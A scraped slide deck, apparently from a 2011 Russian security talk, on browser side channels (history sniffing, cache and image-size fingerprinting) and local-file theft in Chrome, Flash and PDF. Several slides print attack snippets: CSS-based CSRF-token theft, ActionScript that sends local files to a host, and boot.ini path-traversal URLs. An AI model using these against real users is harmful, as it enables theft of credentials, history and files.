SlideShare a Scribd company logo
Безопасность браузеров
Новый взгляд
Google browser security handbook
 Наиболее полное описание
 уязвимостей и механизмов
 безопасности, применяющихся в
 браузерах.
 Рассмотрим часть 2, главу "Life outside
 same-origin rules" раздел "Privacy-related
 side channels".
 http://code.google.com/p/browsersec/wiki/Part2
Google browser security handbook
Reading back CSS :visited class on
links
Full-body CSS theft (Chris Evans
03/09/2010)
Resource inclusion probes with onload
and onerror checks.
Image size fingerprinting
Cache timing
General resource timing (Chris Evans
11/12/2009)
Reading back CSS :visited class
on links (J.Ruderman at 2010)
Для посещенных ссылок автоматически
меняется цвет.
В любом HTML документе, цвет ссылки можно
прочитать через .getComputedStyle или .
currentStyle (cross-domain).
Если цвет ссылки поменялся, то
злоумышленник делает вывод, что в истории
жертвы есть целевая страница.
Перебирая адреса страниц, злоумышленник
получает историю посещений жертвы.
Full-body CSS theft (Chris Evans
 2010, only IE8)
    Браузеры воспринимают HTML как CSS, который
    можно подключить через <STYLE>
    В HTML могут быть конфиденциальные данные
    (например, CSRF токен)
    Конф. данные можно получить благодаря гибкому
    CSS парсеру, встроенному в браузер.

<style>
@import url("http://twitter.com/scarybeaststest");
</style>
var borrowed = document.body.currentStyle.fontFamily;
var i = borrowed.indexOf("authenticity_token = '");
borrowed = borrowed.substring(i + 22);
Resource inclusion probes with
onload and onerror checks
 Браузеры вызывают события onload/onerror в
 зависимости от HTTP статуса загрузки документа
 При загрузке страниц с других доменов в тэгах:
 <SCRIPT> <APPLET> <IMG> <OBJECT> <EMBED>
 <IFRAME> <FRAME> отправляется запрос с
 аутентификационными данными (COKIES)
 Веб-приложения часто имеют страницы, HTTP
 статус которых зависит от авторизации
 пользователя (HTTP 3xx, HTTP 4xx)
 Злоумышленник проверяет текущий статус
 авторизации жертвы на целевом домене с любой
 страницы.
Image size finderprinting

 Браузеры автоматически присваивают реальные
 размеры загруженному на страницу изображению
 При загрузке картинок с других доменов в тэге
 <IMG> отправляется запрос с
 аутентификационными данными (COKIES)
 Веб-приложения часто имеют динамические
 картинки, высота и ширина которых зависит от
 статуса авторизации пользователя (или др. прав)
 Злоумышленник проверяет текущий статус
 авторизации жертвы на целевом домене с любой
 страницы.
Cache timing

 После посещения страницы, она копируется в кэш
 браузера - локальные данные ПК
 Если страница находится к кэше, ее загрузка
 осуществляется существенно быстрее
 (пропорционально размеру страницы)
 Злоумышленник может проверить наличие
 страницы в кэше браузера жертвы зная время ее
 загрузки (IFRAME -> onload event)
General resource timing (Chris
Evans 11/12/2009)
 Часто размер динамической страницы веб-
 приложения зависит от статуса авторизации
 пользователя
 Если пользователь авторизован, время загрузки
 страницы будет отличаться от случая, когда
 пользователь не авторизован
 Злоумышленник может проверить статус
 авторизации жертвы зная время ее загрузки
 (IFRAME -> onload event)
Новое в Image size finderprinting.

 Internet Explorer 8, 9, 10 (platform preview)
 поддерживают свойство fileSize для объектов image
 (<img>) и document, что позволяет получить размер
 картинки в байтах
 fileSize позволяет сильно улучшить зону покрытия
 метода
 Метод можно использовать не только для проверки
 авторизации, но и для проверки наличия локальных
 файлов картинок при открытии HTML в зоне file://
Механизмы загрузки файлов в
браузерах
 Можно ли загрузить произвольный файл на диск
 без согласия пользователя?
 Можно ли предугадать путь к загруженному файлу?
Механизмы кэширования в
браузерах
Рассмотрим как кэш браузера храниться на диске
(файлы, SQLite).
В каких случаях кэшированные страницы можно
использовать как локальные HTML из того же
браузера
Cache finderprinting (Chrome)
 Требует локального HTML с кодом PoС
 Используем размеры картинок как сигнатуры
 для распознавания сайтов в кэше.
 Можно определить размер кэша с точностью N,
 где N - среднее количество файлов кэша, на
 которое приходиться одна картинка
Cache finderprinting (Chrome)
Почему работает метод?

   Кэш храниться в виде раздельных локальных
   файлов
   Возможен доступ к файлам с кэшем из
   браузера
   Имена кэш-файлов предугадываемые
   (нумерованные)
   Image size finderprinting
   На проверяемом сайте есть картинка
   уникальных размеров или их
   последовательность:
В примере:
              Youtube: 113x392,
              Google: 284x189 && 167x253
Local files access (HTML)
 Можно ли получить содержимое локальных
 файлов через .innerHTML?
 Как проверить наличие произвольного
 локального файла с ФС?
Local files access (SWF)
   Файл должен быть собран с опцией (Flex)
--use-network=false
   Плагин должен быть открыт в зоне file://

private function getData(name:String):void{
   var url:URLRequest=new URLRequest(name);
   var loader:URLLoader=new URLLoader();
   loader.addEventListener(Event.COMPLETE,populate);
   loader.load(url); }
private function sendData(host:String,data:String):void{
   var enc:Base64Encoder=new Base64Encoder();
   enc.encode(data);
   data=enc.toString();
   navigateToURL(new URLRequest("file:///"+host+"/"+data),"_self");
}                   http://www.andlabs.org/whitepapers/F_IE_PrisonBreak.pdf
                     http://xs-sniper.com/blog/2011/01/04/bypassing-flash%
                     E2%80%99s-local-with-filesystem-sandbox/
Local files access (SWF)




         http://www.andlabs.org/whitepapers/F_IE_PrisonBreak.pdf
         http://xs-sniper.com/blog/2011/01/04/bypassing-flash%
         E2%80%99s-local-with-filesystem-sandbox/
Local files access (PDF)
    Adobe 908
    Adobe 925

We will begin our investigation
based on that information.

In the meantime, we ask that
you do not publicly disclose
this potential issue, in order to
protect Adobe's customers.
This has been assigned the
Adobe tracking number 908.
Pri-1
                                                             Area-Internals
                                                             SecSeverity-

 From http:// to file:// (Chrome)                            Medium
                                                             Type-Security
                                                             Mstone-11



Issue 72492 (Feb 9, 2011)
    Из командой строки (.lnk файлов) URL вида http:
    //google.com/../../../../../../../../../../boot.ini ведет на C:
    /boot.ini
    Из ссылок в приложениях (GTalk,ICQ,Skype) надо
    обойти встроенную нормализацию:
http://www.google.ru?q=OMFG../#a/../../../../../../../../../../..
/boot.ini
    Можно вызвать через PDF документ
    расположенный в зоне http://:
app.launchURL("http://../../../../../../../boot.ini",true)
Pri-1
                                   Area-Internals
                                   SecSeverity-

From http:// to file:// (Chrome)   Medium
                                   Type-Security
                                   Mstone-11
Атака из топора (stealing local file
from remote in Chrome
11.0.696.68)
Атака из топора (stealing local file
from remote in Chrome
11.0.696.68)
Что нас ждет? GUI уязвимости
  URL spoofing
  PKI spoofing
  Action spoofing
  Dialogs bypass
ВОПРОСЫ ???


КОНТАКТЫ:
D0znpp@ONSEC.RU

More Related Content

PDF
Positive Hack Days. Воронцов. Безопасность браузеров: новый взгляд (0-day)
PPTX
Оранжевый - новый синий: Как портировать Chrome Extension в Firefox Extension
PPTX
Алексей Морозов (Россия), Rambler.ru. ASP.NET в помощь хакеру и не только....
PPTX
Шамбулов У. К. (Казахстан), ГТС. Анализ и исследование инцидентов информацион...
PPTX
Иван Чалыкин (Россия), Digital Security. Легальный SOP Bypass. Проблемы внедр...
PPTX
Vipolnenie komand na servere
PPT
Positive Hack Days. Баранов. DNS Rebinding возвращается (0-day)
PDF
Андрей Абакумов (Россия). Yandex.ru. Соавтор: Эльдар Заитов. Автоматизация ск...
Positive Hack Days. Воронцов. Безопасность браузеров: новый взгляд (0-day)
Оранжевый - новый синий: Как портировать Chrome Extension в Firefox Extension
Алексей Морозов (Россия), Rambler.ru. ASP.NET в помощь хакеру и не только....
Шамбулов У. К. (Казахстан), ГТС. Анализ и исследование инцидентов информацион...
Иван Чалыкин (Россия), Digital Security. Легальный SOP Bypass. Проблемы внедр...
Vipolnenie komand na servere
Positive Hack Days. Баранов. DNS Rebinding возвращается (0-day)
Андрей Абакумов (Россия). Yandex.ru. Соавтор: Эльдар Заитов. Автоматизация ск...

What's hot (19)

PPTX
Татьяна Новикова (Казахстан), ЦАРКА. Как мы мониторим Казнет с помощью WebTotem
PPTX
KazHackStan 2017 | Tracking
PDF
Безопасность сайта: мифы и реальность — Петр Волков
PDF
HTTP протокол
PPTX
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
PPTX
2013-05-04 01 Ксения Дмитриева. HTML5, Взлом и защита.
PDF
Доставка данных в реальном времени.
PPT
PDF
Андрей Ковалев - Безопасность сайта: мифы и реальность
PPT
Major mistakes in site moving
PDF
Как обезопасить PBN от взлома? Практические рекомендации
PDF
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
PPTX
Белов наиболее часто уязвимые места в веб приложениях
PPTX
современная практика статического анализа безопасности кода веб приложений
PPT
Web весна 2012 лекция 11
PPTX
Тестирование уязвимостей веб приложений
PDF
17 - Web-технологии. Real Time сообщения
PDF
Опенсорс-инструменты на страже безопасности бэкенда — Петр Волков
PPT
Безопасность веб-приложений. Так ли опасна виртуальная угроза?
Татьяна Новикова (Казахстан), ЦАРКА. Как мы мониторим Казнет с помощью WebTotem
KazHackStan 2017 | Tracking
Безопасность сайта: мифы и реальность — Петр Волков
HTTP протокол
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
2013-05-04 01 Ксения Дмитриева. HTML5, Взлом и защита.
Доставка данных в реальном времени.
Андрей Ковалев - Безопасность сайта: мифы и реальность
Major mistakes in site moving
Как обезопасить PBN от взлома? Практические рекомендации
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
Белов наиболее часто уязвимые места в веб приложениях
современная практика статического анализа безопасности кода веб приложений
Web весна 2012 лекция 11
Тестирование уязвимостей веб приложений
17 - Web-технологии. Real Time сообщения
Опенсорс-инструменты на страже безопасности бэкенда — Петр Волков
Безопасность веб-приложений. Так ли опасна виртуальная угроза?
Ad

Viewers also liked (20)

PDF
[ONSEC ]XSS vs waf
PDF
[ONSEC] PHP unserialize() _SESSION and Dynamics
PPT
Risspa app sec trend micro
PDF
Как построить систему ИБ в кризис; 3 способа снижения затрат на ИБ
PPT
Введение в информационный поиск
PPTX
Тестирование программных фильтров безопасности
PPT
Static Analysis: The Art of Fighting without Fighting
PPTX
InfoWatch Attack Killer решение проблемы всех направленных атак
PDF
Bypassing Web Application Firewalls
PDF
QualysGuard InfoDay 2014 - QualysGuard Web Application Security a Web Applica...
PPT
Filter Evasion: Houdini on the Wire
PDF
Bug-hunter's Sorrow
PPT
Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях
PPTX
Опыт организации тестирования безопасности Web приложений в компании
PDF
いでよ、電卓!
PPTX
Waf bypassing Techniques
PPTX
Что общего у CTF и тестов на проникновение?
PPTX
Пост-эксплуатация веб-приложений в тестах на проникновение
PPTX
Алгоритмы пентестов. BaltCTF 2012
PDF
SemBook. Глава 1. Поисковые системы
[ONSEC ]XSS vs waf
[ONSEC] PHP unserialize() _SESSION and Dynamics
Risspa app sec trend micro
Как построить систему ИБ в кризис; 3 способа снижения затрат на ИБ
Введение в информационный поиск
Тестирование программных фильтров безопасности
Static Analysis: The Art of Fighting without Fighting
InfoWatch Attack Killer решение проблемы всех направленных атак
Bypassing Web Application Firewalls
QualysGuard InfoDay 2014 - QualysGuard Web Application Security a Web Applica...
Filter Evasion: Houdini on the Wire
Bug-hunter's Sorrow
Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях
Опыт организации тестирования безопасности Web приложений в компании
いでよ、電卓!
Waf bypassing Techniques
Что общего у CTF и тестов на проникновение?
Пост-эксплуатация веб-приложений в тестах на проникновение
Алгоритмы пентестов. BaltCTF 2012
SemBook. Глава 1. Поисковые системы
Ad

Similar to ONsec browsers security PHD2011 (20)

PDF
Марина Широчкина "Производительность клиентсайда через тестирование скорости ...
PDF
Application Security - ответы на ежедневные вопросы / Сергей Белов (Mail.Ru G...
PPTX
Атаки на web-приложения. Основы
PPTX
браузеры презентация
PPTX
Вебинар WebPromoExperts. Безопасность сайта. Дмитрий Снопченк…
PPTX
браузеры презентация
PPTX
Взломать сайт на ASP.NET
PDF
Безопасность веб-браузеров
PPTX
Эволюция атак на веб приложения (Evolution of web applications attacks)
PPTX
Browzer
PPT
Web весна 2013 лекция 10
ODP
безопасность Ajax приложений александр капранов
PDF
Samosadny mass csrf attacks via flash ads
PDF
Неочевидные возможности ускорения работы сайта
PDF
Speed Up Your Website
PDF
2013 09 19 кеширование на клиенте и сервере
PPTX
Not a children in da web
PDF
Евгений Батовский, Николай Птущук "Современный станок верстальщика"
PDF
Cовременный станок верстальщика
Марина Широчкина "Производительность клиентсайда через тестирование скорости ...
Application Security - ответы на ежедневные вопросы / Сергей Белов (Mail.Ru G...
Атаки на web-приложения. Основы
браузеры презентация
Вебинар WebPromoExperts. Безопасность сайта. Дмитрий Снопченк…
браузеры презентация
Взломать сайт на ASP.NET
Безопасность веб-браузеров
Эволюция атак на веб приложения (Evolution of web applications attacks)
Browzer
Web весна 2013 лекция 10
безопасность Ajax приложений александр капранов
Samosadny mass csrf attacks via flash ads
Неочевидные возможности ускорения работы сайта
Speed Up Your Website
2013 09 19 кеширование на клиенте и сервере
Not a children in da web
Евгений Батовский, Николай Птущук "Современный станок верстальщика"
Cовременный станок верстальщика

ONsec browsers security PHD2011

  • 2. Google browser security handbook Наиболее полное описание уязвимостей и механизмов безопасности, применяющихся в браузерах. Рассмотрим часть 2, главу "Life outside same-origin rules" раздел "Privacy-related side channels". http://code.google.com/p/browsersec/wiki/Part2
  • 3. Google browser security handbook Reading back CSS :visited class on links Full-body CSS theft (Chris Evans 03/09/2010) Resource inclusion probes with onload and onerror checks. Image size fingerprinting Cache timing General resource timing (Chris Evans 11/12/2009)
  • 4. Reading back CSS :visited class on links (J.Ruderman at 2010) Для посещенных ссылок автоматически меняется цвет. В любом HTML документе, цвет ссылки можно прочитать через .getComputedStyle или . currentStyle (cross-domain). Если цвет ссылки поменялся, то злоумышленник делает вывод, что в истории жертвы есть целевая страница. Перебирая адреса страниц, злоумышленник получает историю посещений жертвы.
  • 5. Full-body CSS theft (Chris Evans 2010, only IE8) Браузеры воспринимают HTML как CSS, который можно подключить через <STYLE> В HTML могут быть конфиденциальные данные (например, CSRF токен) Конф. данные можно получить благодаря гибкому CSS парсеру, встроенному в браузер. <style> @import url("http://twitter.com/scarybeaststest"); </style> var borrowed = document.body.currentStyle.fontFamily; var i = borrowed.indexOf("authenticity_token = '"); borrowed = borrowed.substring(i + 22);
  • 6. Resource inclusion probes with onload and onerror checks Браузеры вызывают события onload/onerror в зависимости от HTTP статуса загрузки документа При загрузке страниц с других доменов в тэгах: <SCRIPT> <APPLET> <IMG> <OBJECT> <EMBED> <IFRAME> <FRAME> отправляется запрос с аутентификационными данными (COKIES) Веб-приложения часто имеют страницы, HTTP статус которых зависит от авторизации пользователя (HTTP 3xx, HTTP 4xx) Злоумышленник проверяет текущий статус авторизации жертвы на целевом домене с любой страницы.
  • 7. Image size finderprinting Браузеры автоматически присваивают реальные размеры загруженному на страницу изображению При загрузке картинок с других доменов в тэге <IMG> отправляется запрос с аутентификационными данными (COKIES) Веб-приложения часто имеют динамические картинки, высота и ширина которых зависит от статуса авторизации пользователя (или др. прав) Злоумышленник проверяет текущий статус авторизации жертвы на целевом домене с любой страницы.
  • 8. Cache timing После посещения страницы, она копируется в кэш браузера - локальные данные ПК Если страница находится к кэше, ее загрузка осуществляется существенно быстрее (пропорционально размеру страницы) Злоумышленник может проверить наличие страницы в кэше браузера жертвы зная время ее загрузки (IFRAME -> onload event)
  • 9. General resource timing (Chris Evans 11/12/2009) Часто размер динамической страницы веб- приложения зависит от статуса авторизации пользователя Если пользователь авторизован, время загрузки страницы будет отличаться от случая, когда пользователь не авторизован Злоумышленник может проверить статус авторизации жертвы зная время ее загрузки (IFRAME -> onload event)
  • 10. Новое в Image size finderprinting. Internet Explorer 8, 9, 10 (platform preview) поддерживают свойство fileSize для объектов image (<img>) и document, что позволяет получить размер картинки в байтах fileSize позволяет сильно улучшить зону покрытия метода Метод можно использовать не только для проверки авторизации, но и для проверки наличия локальных файлов картинок при открытии HTML в зоне file://
  • 11. Механизмы загрузки файлов в браузерах Можно ли загрузить произвольный файл на диск без согласия пользователя? Можно ли предугадать путь к загруженному файлу?
  • 12. Механизмы кэширования в браузерах Рассмотрим как кэш браузера храниться на диске (файлы, SQLite). В каких случаях кэшированные страницы можно использовать как локальные HTML из того же браузера
  • 13. Cache finderprinting (Chrome) Требует локального HTML с кодом PoС Используем размеры картинок как сигнатуры для распознавания сайтов в кэше. Можно определить размер кэша с точностью N, где N - среднее количество файлов кэша, на которое приходиться одна картинка
  • 14. Cache finderprinting (Chrome) Почему работает метод? Кэш храниться в виде раздельных локальных файлов Возможен доступ к файлам с кэшем из браузера Имена кэш-файлов предугадываемые (нумерованные) Image size finderprinting На проверяемом сайте есть картинка уникальных размеров или их последовательность: В примере: Youtube: 113x392, Google: 284x189 && 167x253
  • 15. Local files access (HTML) Можно ли получить содержимое локальных файлов через .innerHTML? Как проверить наличие произвольного локального файла с ФС?
  • 16. Local files access (SWF) Файл должен быть собран с опцией (Flex) --use-network=false Плагин должен быть открыт в зоне file:// private function getData(name:String):void{ var url:URLRequest=new URLRequest(name); var loader:URLLoader=new URLLoader(); loader.addEventListener(Event.COMPLETE,populate); loader.load(url); } private function sendData(host:String,data:String):void{ var enc:Base64Encoder=new Base64Encoder(); enc.encode(data); data=enc.toString(); navigateToURL(new URLRequest("file:///"+host+"/"+data),"_self"); } http://www.andlabs.org/whitepapers/F_IE_PrisonBreak.pdf http://xs-sniper.com/blog/2011/01/04/bypassing-flash% E2%80%99s-local-with-filesystem-sandbox/
  • 17. Local files access (SWF) http://www.andlabs.org/whitepapers/F_IE_PrisonBreak.pdf http://xs-sniper.com/blog/2011/01/04/bypassing-flash% E2%80%99s-local-with-filesystem-sandbox/
  • 18. Local files access (PDF) Adobe 908 Adobe 925 We will begin our investigation based on that information. In the meantime, we ask that you do not publicly disclose this potential issue, in order to protect Adobe's customers. This has been assigned the Adobe tracking number 908.
  • 19. Pri-1 Area-Internals SecSeverity- From http:// to file:// (Chrome) Medium Type-Security Mstone-11 Issue 72492 (Feb 9, 2011) Из командой строки (.lnk файлов) URL вида http: //google.com/../../../../../../../../../../boot.ini ведет на C: /boot.ini Из ссылок в приложениях (GTalk,ICQ,Skype) надо обойти встроенную нормализацию: http://www.google.ru?q=OMFG../#a/../../../../../../../../../../.. /boot.ini Можно вызвать через PDF документ расположенный в зоне http://: app.launchURL("http://../../../../../../../boot.ini",true)
  • 20. Pri-1 Area-Internals SecSeverity- From http:// to file:// (Chrome) Medium Type-Security Mstone-11
  • 21. Атака из топора (stealing local file from remote in Chrome 11.0.696.68)
  • 22. Атака из топора (stealing local file from remote in Chrome 11.0.696.68)
  • 23. Что нас ждет? GUI уязвимости URL spoofing PKI spoofing Action spoofing Dialogs bypass